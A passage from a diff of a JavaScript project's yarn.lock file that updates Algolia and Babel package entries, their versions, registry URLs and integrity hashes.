+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/ingestion@1.23.4":
+  version "1.23.4"
+  resolved "https://registry.npmjs.org/@algolia/ingestion/-/ingestion-1.23.4.tgz"
+  integrity sha512-Si6rFuGnSeEUPU9QchYvbknvEIyCRK7nkeaPVQdZpABU7m4V/tsiWdHmjVodtx3h20VZivJdHeQO9XbHxBOcCw==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/monitoring@1.23.4":
+  version "1.23.4"
+  resolved "https://registry.npmjs.org/@algolia/monitoring/-/monitoring-1.23.4.tgz"
+  integrity sha512-EXGoVVTshraqPJgr5cMd1fq7Jm71Ew6MpGCEaxI5PErBpJAmKdtjRIzs6JOGKHRaWLi+jdbJPYc2y8RN4qcx5Q==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/recommend@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/recommend/-/recommend-5.23.4.tgz"
+  integrity sha512-1t6glwKVCkjvBNlng2itTf8fwaLSqkL4JaMENgR3WTGR8mmW2akocUy/ZYSQcG4TcR7qu4zW2UMGAwLoWoflgQ==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+"@algolia/requester-browser-xhr@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/requester-browser-xhr/-/requester-browser-xhr-5.23.4.tgz"
+  integrity sha512-UUuizcgc5+VSY8hqzDFVdJ3Wcto03lpbFRGPgW12pHTlUQHUTADtIpIhkLLOZRCjXmCVhtr97Z+eR6LcRYXa3Q==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+
+"@algolia/requester-fetch@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/requester-fetch/-/requester-fetch-5.23.4.tgz"
+  integrity sha512-UhDg6elsek6NnV5z4VG1qMwR6vbp+rTMBEnl/v4hUyXQazU+CNdYkl++cpdmLwGI/7nXc28xtZiL90Es3I7viQ==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
+
+"@algolia/requester-node-http@5.23.4":
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/@algolia/requester-node-http/-/requester-node-http-5.23.4.tgz"
+  integrity sha512-jXGzGBRUS0oywQwnaCA6mMDJO7LoC3dYSLsyNfIqxDR4SNGLhtg3je0Y31lc24OA4nYyKAYgVLtjfrpcpsWShg==
+  dependencies:
+    "@algolia/client-common" "5.23.4"
 
 "@ampproject/remapping@^2.2.0":
   version "2.3.0"
-  resolved "https://registry.yarnpkg.com/@ampproject/remapping/-/remapping-2.3.0.tgz#ed441b6fa600072520ce18b43d2c8cc8caecc7f4"
+  resolved "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.3.0.tgz"
   integrity sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==
   dependencies:
     "@jridgewell/gen-mapping" "^0.3.5"
     "@jridgewell/trace-mapping" "^0.3.24"
 
-"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.18.6.tgz#3b25d38c89600baa2dcc219edfa88a74eb2c427a"
-  integrity sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==
-  dependencies:
-    "@babel/highlight" "^7.18.6"
-
-"@babel/code-frame@^7.21.4":
-  version "7.21.4"
-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.21.4.tgz#d0fa9e4413aca81f2b23b9442797bda1826edb39"
-  integrity sha512-LYvhNKfwWSPpocw8GI7gpK2nq3HSDuEPC/uSYaALSJu9xjsalaaYFOq0Pwt5KmVqwEbZlDu81aLXwBOmD/Fv9g==
+"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.18.6", "@babel/code-frame@^7.26.0", "@babel/code-frame@^7.26.2":
+  version "7.26.2"
+  resolved "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.26.2.tgz"
+  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
   dependencies:
-    "@babel/highlight" "^7.18.6"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
 
 "@babel/code-frame@^7.22.5":
   version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.22.5.tgz#234d98e1551960604f1246e6475891a570ad5658"
+  resolved "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.5.tgz"
   integrity sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==
   dependencies:
     "@babel/highlight" "^7.22.5"
 
-"@babel/code-frame@^7.23.5", "@babel/code-frame@^7.24.2":
-  version "7.24.2"
-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.24.2.tgz#718b4b19841809a58b29b68cde80bc5e1aa6d9ae"
-  integrity sha512-y5+tLQyV8pg3fsiln67BVLD1P13Eg4lh5RW9mF0zUuvLrv9uIQ4MCL+CRT+FTsBlBjcIan6PGsLcBN0m3ClUyQ==
+"@babel/code-frame@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.27.1.tgz#200f715e66d52a23b221a9435534a91cc13ad5be"
+  integrity sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==
   dependencies:
-    "@babel/highlight" "^7.24.2"
+    "@babel/helper-validator-identifier" "^7.27.1"
+    js-tokens "^4.0.0"
+    picocolors "^1.1.1"
+
+"@babel/code-frame@^7.5.5":
+  version "7.24.7"
+  resolved "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.24.7.tgz"
+  integrity sha512-BcYH1CVJBO9tvyIZ2jVeXgSIMvGZ2FDRvDdOIVQyuklNKSsx+eppDEBq/g47Ayw+RqNFE+URvOShmf+f/qwAlA==
+  dependencies:
+    "@babel/highlight" "^7.24.7"
     picocolors "^1.0.0"
 
-"@babel/compat-data@^7.17.7", "@babel/compat-data@^7.22.0", "@babel/compat-data@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.22.3.tgz#cd502a6a0b6e37d7ad72ce7e71a7160a3ae36f7e"
-  integrity sha512-aNtko9OPOwVESUFp3MZfD8Uzxl7JzSeJpd7npIoxCasU37PFbAQRpKglkaKwlHOyeJdrREpo8TW8ldrkYWwvIQ==
+"@babel/compat-data@^7.22.6", "@babel/compat-data@^7.26.8":
+  version "7.26.8"
+  resolved "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.26.8.tgz"
+  integrity sha512-oH5UPLMWR3L2wEFLnFJ1TZXqHufiTKAiLfqw5zkhS4dKXLJ10yVztfil/twG8EDTA4F/tvVNw9nOl4ZMslB8rQ==
 
-"@babel/compat-data@^7.23.5":
-  version "7.24.4"
-  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.24.4.tgz#6f102372e9094f25d908ca0d34fc74c74606059a"
-  integrity sha512-vg8Gih2MLK+kOkHJp4gBEIkyaIi00jgWot2D9QOmmfLC8jINSOzmCLta6Bvz/JSBCqnegV0L80jhxkol5GWNfQ==
+"@babel/compat-data@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.27.1.tgz#db7cf122745e0a332c44e847ddc4f5e5221a43f6"
+  integrity sha512-Q+E+rd/yBzNQhXkG+zQnF58e4zoZfBedaxwzPmicKsiK3nt8iJYrSrDbjwFFDGC4f+rPafqRaPH6TsDoSvMf7A==
+
+"@babel/core@^7.0.0", "@babel/core@^7.11.6", "@babel/core@^7.12.3", "@babel/core@^7.19.1", "@babel/core@^7.24.4":
+  version "7.26.0"
+  resolved "https://registry.npmjs.org/@babel/core/-/core-7.26.0.tgz"
+  integrity sha512-i1SLeK+DzNnQ3LL/CswPCa/E5u4lh1k6IAEphON8F+cXt0t9euTshDru0q7/IqMa1PMPz5RnHuHscF8/ZJsStg==
+  dependencies:
+    "@ampproject/remapping" "^2.2.0"
+    "@babel/code-frame" "^7.26.0"
+    "@babel/generator" "^7.26.0"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helpers" "^7.26.0"
+    "@babel/parser" "^7.26.0"
+    "@babel/template" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.26.0"
+    convert-source-map "^2.0.0"
+    debug "^4.1.0"
+    gensync "^1.0.0-beta.2"
+    json5 "^2.2.3"
+    semver "^6.3.1"
 
-"@babel/core@^7.0.0", "@babel/core@^7.2.0":
+"@babel/core@^7.2.0":
   version "7.2.0"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.2.0.tgz#a4dd3814901998e93340f0086e9867fefa163ada"
+  resolved "https://registry.npmjs.org/@babel/core/-/core-7.2.0.tgz"
   integrity sha512-7pvAdC4B+iKjFFp9Ztj0QgBndJ++qaMeonT185wAqUnhipw8idm9Rv1UMyBuKtYjfl6ORNkgEgcsYLfHX/GpLw==
   dependencies:
     "@babel/code-frame" "^7.0.0"
@@ -79,30 +215,51 @@
     semver "^5.4.1"
     source-map "^0.5.0"
 
-"@babel/core@^7.11.6", "@babel/core@^7.12.3", "@babel/core@^7.19.1", "@babel/core@^7.24.4":
-  version "7.24.5"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.24.5.tgz#15ab5b98e101972d171aeef92ac70d8d6718f06a"
-  integrity sha512-tVQRucExLQ02Boi4vdPp49svNGcfL2GhdTCT9aldhXgCJVAI21EtRfBettiuLUwce/7r6bFdgs6JFkcdTiFttA==
+"@babel/core@^7.23.9":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.27.1.tgz#89de51e86bd12246003e3524704c49541b16c3e6"
+  integrity sha512-IaaGWsQqfsQWVLqMn9OB92MNN7zukfVA4s7KKAI0KfrrDsZ0yhi5uV4baBuLuN7n3vsZpwP8asPPcVwApxvjBQ==
+  dependencies:
+    "@ampproject/remapping" "^2.2.0"
+    "@babel/code-frame" "^7.27.1"
+    "@babel/generator" "^7.27.1"
+    "@babel/helper-compilation-targets" "^7.27.1"
+    "@babel/helper-module-transforms" "^7.27.1"
+    "@babel/helpers" "^7.27.1"
+    "@babel/parser" "^7.27.1"
+    "@babel/template" "^7.27.1"
+    "@babel/traverse" "^7.27.1"
+    "@babel/types" "^7.27.1"
+    convert-source-map "^2.0.0"
+    debug "^4.1.0"
+    gensync "^1.0.0-beta.2"
+    json5 "^2.2.3"
+    semver "^6.3.1"
+
+"@babel/core@^7.26.0":
+  version "7.26.10"
+  resolved "https://registry.npmjs.org/@babel/core/-/core-7.26.10.tgz"
+  integrity sha512-vMqyb7XCDMPvJFFOaT9kxtiRh42GwlZEg1/uIgtZshS5a/8OaduUfCi7kynKgc3Tw/6Uo2D+db9qBttghhmxwQ==
   dependencies:
     "@ampproject/remapping" "^2.2.0"
-    "@babel/code-frame" "^7.24.2"
-    "@babel/generator" "^7.24.5"
-    "@babel/helper-compilation-targets" "^7.23.6"
-    "@babel/helper-module-transforms" "^7.24.5"
-    "@babel/helpers" "^7.24.5"
-    "@babel/parser" "^7.24.5"
-    "@babel/template" "^7.24.0"
-    "@babel/traverse" "^7.24.5"
-    "@babel/types" "^7.24.5"
+    "@babel/code-frame" "^7.26.2"
+    "@babel/generator" "^7.26.10"
+    "@babel/helper-compilation-targets" "^7.26.5"
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helpers" "^7.26.10"
+    "@babel/parser" "^7.26.10"
+    "@babel/template" "^7.26.9"
+    "@babel/traverse" "^7.26.10"
+    "@babel/types" "^7.26.10"
     convert-source-map "^2.0.0"
     debug "^4.1.0"
     gensync "^1.0.0-beta.2"
     json5 "^2.2.3"
     semver "^6.3.1"
 
-"@babel/generator@7.2.0", "@babel/generator@^7.0.0", "@babel/generator@^7.1.6", "@babel/generator@^7.2.0":
+"@babel/generator@7.2.0", "@babel/generator@^7.0.0":
   version "7.2.0"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.2.0.tgz#eaf3821fa0301d9d4aef88e63d4bcc19b73ba16c"
+  resolved "https://registry.npmjs.org/@babel/generator/-/generator-7.2.0.tgz"
   integrity sha512-BA75MVfRlFQG2EZgFYIwyT1r6xSkwfP2bdkY/kLZusEYWiJs4xCowab/alaEaT0wSvmVuXGqiefeBlP+7V1yKg==
   dependencies:
     "@babel/types" "^7.2.0"
@@ -111,262 +268,171 @@
     source-map "^0.5.0"
     trim-right "^1.0.1"
 
-"@babel/generator@^7.24.5", "@babel/generator@^7.7.2":
-  version "7.24.5"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.24.5.tgz#e5afc068f932f05616b66713e28d0f04e99daeb3"
-  integrity sha512-x32i4hEXvr+iI0NEoEfDKzlemF8AmtOP8CcrRaEcpzysWuoEb1KknpcvMsHKPONoKZiDuItklgWhB18xEhr9PA==
+"@babel/generator@^7.19.1":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.28.6.tgz#48dcc65d98fcc8626a48f72b62e263d25fc3c3f1"
+  integrity sha512-lOoVRwADj8hjf7al89tvQ2a1lf53Z+7tiXMgpZJL3maQPDxh0DgLMN62B2MKUOFcoodBHLMbDM6WAbKgNy5Suw==
+  dependencies:
+    "@babel/parser" "^7.28.6"
+    "@babel/types" "^7.28.6"
+    "@jridgewell/gen-mapping" "^0.3.12"
+    "@jridgewell/trace-mapping" "^0.3.28"
+    jsesc "^3.0.2"
+
+"@babel/generator@^7.2.0", "@babel/generator@^7.26.0", "@babel/generator@^7.26.10", "@babel/generator@^7.26.3", "@babel/generator@^7.27.0", "@babel/generator@^7.7.2", "@babel/generator@^7.7.4":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/generator/-/generator-7.27.0.tgz"
+  integrity sha512-VybsKvpiN1gU1sdMZIp7FcqphVVKEwcuj02x73uvcHE0PTihx1nlBcowYWhDwjpoAXRv43+gDzyggGnn1XZhVw==
   dependencies:
-    "@babel/types" "^7.24.5"
+    "@babel/parser" "^7.27.0"
+    "@babel/types" "^7.27.0"
     "@jridgewell/gen-mapping" "^0.3.5"
     "@jridgewell/trace-mapping" "^0.3.25"
-    jsesc "^2.5.1"
+    jsesc "^3.0.2"
 
-"@babel/helper-annotate-as-pure@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz#eaa49f6f80d5a33f9a5dd2276e6d6e451be0a6bb"
-  integrity sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==
+"@babel/generator@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.27.1.tgz#862d4fad858f7208edd487c28b58144036b76230"
+  integrity sha512-UnJfnIpc/+JO0/+KRVQNGU+y5taA5vCbwN8+azkX6beii/ZF+enZJSOKo11ZSzGJjlNfJHfQtmQT8H+9TXPG2w==
   dependencies:
-    "@babel/types" "^7.18.6"
+    "@babel/parser" "^7.27.1"
+    "@babel/types" "^7.27.1"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jsesc "^3.0.2"
 
-"@babel/helper-annotate-as-pure@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz#e7f06737b197d580a01edf75d97e2c8be99d3882"
-  integrity sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==
+"@babel/helper-annotate-as-pure@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz"
+  integrity sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==
   dependencies:
-    "@babel/types" "^7.22.5"
+    "@babel/types" "^7.25.9"
 
-"@babel/helper-builder-binary-assignment-operator-visitor@^7.18.6":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.3.tgz#c9b83d1ba74e163e023f008a3d3204588a7ceb60"
-  integrity sha512-ahEoxgqNoYXm0k22TvOke48i1PkavGu0qGCmcq9ugi6gnmvKNaMjKBSrZTnWUi1CFEeNAUiVba0Wtzm03aSkJg==
+"@babel/helper-annotate-as-pure@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.1.tgz#4345d81a9a46a6486e24d069469f13e60445c05d"
+  integrity sha512-WnuuDILl9oOBbKnb4L+DyODx7iC47XfzmNCpTttFsSp6hTG7XZxu60+4IO+2/hPfcGOoKbFiwoI/+zwARbNQow==
   dependencies:
-    "@babel/types" "^7.22.3"
+    "@babel/types" "^7.27.1"
 
-"@babel/helper-compilation-targets@^7.17.7", "@babel/helper-compilation-targets@^7.18.9", "@babel/helper-compilation-targets@^7.20.7", "@babel/helper-compilation-targets@^7.22.1":
-  version "7.22.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.1.tgz#bfcd6b7321ffebe33290d68550e2c9d7eb7c7a58"
-  integrity sha512-Rqx13UM3yVB5q0D/KwQ8+SPfX/+Rnsy1Lw1k/UwOC4KC6qrzIQoY3lYnBu5EHKBlEHHcj0M0W8ltPSkD8rqfsQ==
+"@babel/helper-compilation-targets@^7.22.6", "@babel/helper-compilation-targets@^7.25.9", "@babel/helper-compilation-targets@^7.26.5":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.0.tgz"
+  integrity sha512-LVk7fbXml0H2xH34dFzKQ7TDZ2G4/rVTOrq9V+icbbadjbVxxeFeDsNHv2SrZeWoA+6ZiTyWYWtScEIW07EAcA==
   dependencies:
-    "@babel/compat-data" "^7.22.0"
-    "@babel/helper-validator-option" "^7.21.0"
-    browserslist "^4.21.3"
+    "@babel/compat-data" "^7.26.8"
+    "@babel/helper-validator-option" "^7.25.9"
+    browserslist "^4.24.0"
     lru-cache "^5.1.1"
-    semver "^6.3.0"
+    semver "^6.3.1"
 
-"@babel/helper-compilation-targets@^7.23.6":
-  version "7.23.6"
-  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.23.6.tgz#4d79069b16cbcf1461289eccfbbd81501ae39991"
-  integrity sha512-9JB548GZoQVmzrFgp8o7KxdgkTGm6xs9DW0o/Pim72UDjzr5ObUQ6ZzYPqA+g9OTS2bBQoctLJrky0RDCAWRgQ==
+"@babel/helper-compilation-targets@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.1.tgz#eac1096c7374f161e4f33fc8ae38f4ddf122087a"
+  integrity sha512-2YaDd/Rd9E598B5+WIc8wJPmWETiiJXFYVE60oX8FDohv7rAUU3CQj+A1MgeEmcsk2+dQuEjIe/GDvig0SqL4g==
   dependencies:
-    "@babel/compat-data" "^7.23.5"
-    "@babel/helper-validator-option" "^7.23.5"
-    browserslist "^4.22.2"
+    "@babel/compat-data" "^7.27.1"
+    "@babel/helper-validator-option" "^7.27.1"
+    browserslist "^4.24.0"
     lru-cache "^5.1.1"
     semver "^6.3.1"
 
-"@babel/helper-create-class-features-plugin@^7.18.6":
-  version "7.22.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.9.tgz#c36ea240bb3348f942f08b0fbe28d6d979fab236"
-  integrity sha512-Pwyi89uO4YrGKxL/eNJ8lfEH55DnRloGPOseaA8NFNL6jAUnn+KccaISiFazCj5IolPPDjGSdzQzXVzODVRqUQ==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.22.5"
-    "@babel/helper-environment-visitor" "^7.22.5"
-    "@babel/helper-function-name" "^7.22.5"
-    "@babel/helper-member-expression-to-functions" "^7.22.5"
-    "@babel/helper-optimise-call-expression" "^7.22.5"
-    "@babel/helper-replace-supers" "^7.22.9"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.22.5"
-    "@babel/helper-split-export-declaration" "^7.22.6"
+"@babel/helper-create-class-features-plugin@^7.25.9", "@babel/helper-create-class-features-plugin@^7.27.0":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.27.0.tgz"
+  integrity sha512-vSGCvMecvFCd/BdpGlhpXYNhhC4ccxyvQWpbGL4CWbvfEoLFWUZuSuf7s9Aw70flgQF+6vptvgK2IfOnKlRmBg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/traverse" "^7.27.0"
     semver "^6.3.1"
 
-"@babel/helper-create-class-features-plugin@^7.19.0":
-  version "7.19.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.19.0.tgz#bfd6904620df4e46470bae4850d66be1054c404b"
-  integrity sha512-NRz8DwF4jT3UfrmUoZjd0Uph9HQnP30t7Ash+weACcyNkiYTywpIjDBgReJMKgr+n86sn2nPVVmJ28Dm053Kqw==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-environment-visitor" "^7.18.9"
-    "@babel/helper-function-name" "^7.19.0"
-    "@babel/helper-member-expression-to-functions" "^7.18.9"
-    "@babel/helper-optimise-call-expression" "^7.18.6"
-    "@babel/helper-replace-supers" "^7.18.9"
-    "@babel/helper-split-export-declaration" "^7.18.6"
-
-"@babel/helper-create-class-features-plugin@^7.21.0", "@babel/helper-create-class-features-plugin@^7.22.1":
-  version "7.22.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.1.tgz#ae3de70586cc757082ae3eba57240d42f468c41b"
-  integrity sha512-SowrZ9BWzYFgzUMwUmowbPSGu6CXL5MSuuCkG3bejahSpSymioPmuLdhPxNOc9MjuNGjy7M/HaXvJ8G82Lywlw==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-environment-visitor" "^7.22.1"
-    "@babel/helper-function-name" "^7.21.0"
-    "@babel/helper-member-expression-to-functions" "^7.22.0"
-    "@babel/helper-optimise-call-expression" "^7.18.6"
-    "@babel/helper-replace-supers" "^7.22.1"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.20.0"
-    "@babel/helper-split-export-declaration" "^7.18.6"
-    semver "^6.3.0"
+"@babel/helper-create-class-features-plugin@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.27.1.tgz#5bee4262a6ea5ddc852d0806199eb17ca3de9281"
+  integrity sha512-QwGAmuvM17btKU5VqXfb+Giw4JcN0hjuufz3DYnpeVDvZLAObloM77bhMXiqry3Iio+Ai4phVRDwl6WU10+r5A==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.27.1"
+    "@babel/helper-member-expression-to-functions" "^7.27.1"
+    "@babel/helper-optimise-call-expression" "^7.27.1"
+    "@babel/helper-replace-supers" "^7.27.1"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.27.1"
+    "@babel/traverse" "^7.27.1"
+    semver "^6.3.1"
 
-"@babel/helper-create-regexp-features-plugin@^7.18.6", "@babel/helper-create-regexp-features-plugin@^7.22.1":
-  version "7.22.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.1.tgz#a7ed9a8488b45b467fca353cd1a44dc5f0cf5c70"
-  integrity sha512-WWjdnfR3LPIe+0EY8td7WmjhytxXtjKAEpnAxun/hkNiyOaPlvGK+NZaBFIdi9ndYV3Gav7BpFvtUwnaJlwi1w==
+"@babel/helper-create-regexp-features-plugin@^7.18.6", "@babel/helper-create-regexp-features-plugin@^7.25.9":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.27.0.tgz"
+  integrity sha512-fO8l08T76v48BhpNRW/nQ0MxfnSdoSKUJBMjubOAYffsVuGG5qOfMq7N6Es7UJvi7Y8goXXo07EfcHZXDPuELQ==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    regexpu-core "^5.3.1"
-    semver "^6.3.0"
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    regexpu-core "^6.2.0"
+    semver "^6.3.1"
 
-"@babel/helper-define-polyfill-provider@^0.4.0":
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.4.0.tgz#487053f103110f25b9755c5980e031e93ced24d8"
-  integrity sha512-RnanLx5ETe6aybRi1cO/edaRH+bNYWaryCEmjDDYyNr4wnSzyOp8T0dWipmqVHKEY3AbVKUom50AKSlj1zmKbg==
+"@babel/helper-define-polyfill-provider@^0.6.3", "@babel/helper-define-polyfill-provider@^0.6.4":
+  version "0.6.4"
+  resolved "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.4.tgz"
+  integrity sha512-jljfR1rGnXXNWnmQg2K3+bvhkxB51Rl32QRaOTuwwjviGrHzIbSc8+x9CpraDtbT7mfyjXObULP4w/adunNwAw==
   dependencies:
-    "@babel/helper-compilation-targets" "^7.17.7"
-    "@babel/helper-plugin-utils" "^7.16.7"
+    "@babel/helper-compilation-targets" "^7.22.6"
+    "@babel/helper-plugin-utils" "^7.22.5"
     debug "^4.1.1"
     lodash.debounce "^4.0.8"
     resolve "^1.14.2"
-    semver "^6.1.2"
 
 "@babel/helper-environment-visitor@^7.18.9":
-  version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz#0c0cee9b35d2ca190478756865bb3528422f51be"
-  integrity sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==
-
-"@babel/helper-environment-visitor@^7.22.1":
-  version "7.22.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.1.tgz#ac3a56dbada59ed969d712cf527bd8271fe3eba8"
-  integrity sha512-Z2tgopurB/kTbidvzeBrc2To3PUP/9i5MUe+fU6QJCQDyPwSH2oRapkLw3KGECDYSjhQZCNxEvNvZlLw8JjGwA==
-
-"@babel/helper-environment-visitor@^7.22.20":
-  version "7.22.20"
-  resolved "https://registry.yarnpkg.com/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz#96159db61d34a29dba454c959f5ae4a649ba9167"
-  integrity sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==
-
-"@babel/helper-environment-visitor@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz#f06dd41b7c1f44e1f8da6c4055b41ab3a09a7e98"
-  integrity sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==
-
-"@babel/helper-function-name@^7.1.0", "@babel/helper-function-name@^7.23.0":
-  version "7.23.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz#1f9a3cdbd5b2698a670c30d2735f9af95ed52759"
